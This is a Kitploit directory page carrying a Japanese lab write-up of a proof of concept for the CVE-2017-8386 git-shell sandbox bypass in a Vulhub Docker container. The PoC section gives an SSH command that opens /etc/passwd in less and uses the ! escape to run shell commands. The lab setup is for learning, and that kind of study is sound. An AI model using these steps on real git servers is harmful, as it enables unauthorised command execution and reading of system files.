Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WHS3_vulhub — CVE-2017-8386 Git-Shellサンドボックスバイパス脆弱性のPoC。 | Kitploit
ツール/GitHubGitHub/suz1n/whs3_vulhub
コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubsuz1n/whs3_vulhub

WHS3_vulhub

CVE-2017-8386 Git-Shellサンドボックスバイパス脆弱性のPoC。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-8386: git-shell サンドボックス回避による RCE PoC

정수진(@suz1n)

概要

Git-shell は SSH を介して制限された git コマンドのみを許可する環境を提供します。しかし、特定のバージョンの git-shell(2.12.2 など)では、less コマンドを悪用してサンドボックスを回避し、システムコマンドを実行できる脆弱性(CVE-2017-8386)が存在します。

本レポートは、当該脆弱性に対する PoC を実施し、その過程をまとめたものです。

環境構築

使用ツールとバージョン

  • Docker: 24.0.7
  • Docker-Compose: v2.34.0
  • Host OS: macOS
  • Target OS: Ubuntu 16.04(コンテナ内)
  • Git Version: 2.12.2
  • SSH Server

Vulhub リポジトリのクローン

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/ Image1

docker-compose.yml と Dockerfile の構成

root@kitploit:~
• Ubuntu 16.04 ベースイメージ
• Git 2.12.2 ソースインストール
• OpenSSH サーバーのインストールと実行
• git-shell 環境の設定(git ユーザーの作成)

コンテナのビルドと実行

docker-compose build

docker-compose up -d

docker ps

root@kitploit:~
• コンテナの稼働確認(git-shell-cve-2017-8386)

Image2

SSH キーの登録と環境設定

root@kitploit:~
1. ローカルで id_rsa.pub を生成してコピー
2. コンテナ内にアクセスして git ユーザーに切り替え
3. authorized_keys を登録

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Image3

追加パッケージのインストール

apt update

apt install less -y

apt install man-db -y

root@kitploit:~
• PoC 実行のために less、man パッケージのインストール完了

PoC の過程

通常の SSH 接続

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• less 画面への進入に成功

• ! コマンドによりシステムコマンドを実行可能

コマンド実行(サンドボックス回避)

• !id -> ユーザー ID、グループ ID を出力 first_execute.png

• !whoami -> 現在のユーザー(git)

• !uname -a -> システムのカーネル情報を出力

• !ls /home/git -> git ホームディレクトリのファイル一覧を出力

分析

root@kitploit:~
• git-shell 環境では、ユーザーがシステムコマンドを実行できないように制限されている。
• しかし、`git-upload-archive --help` コマンドを介して内部的に less を呼び出すことが可能。
• less コマンドは ! 機能によりシステムシェルコマンドの実行をサポートしている。
• 結果として、git-shell のサンドボックスを回避して任意のコマンドを実行することが可能。

参考文献

• Insinuator ブログ: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Vulhub GitHub リポジトリ: https://github.com/phith0n/vulhub

GitHub リポジトリリンク

https://github.com/suz1n/WHS3_vulhub

ツールをダウンロード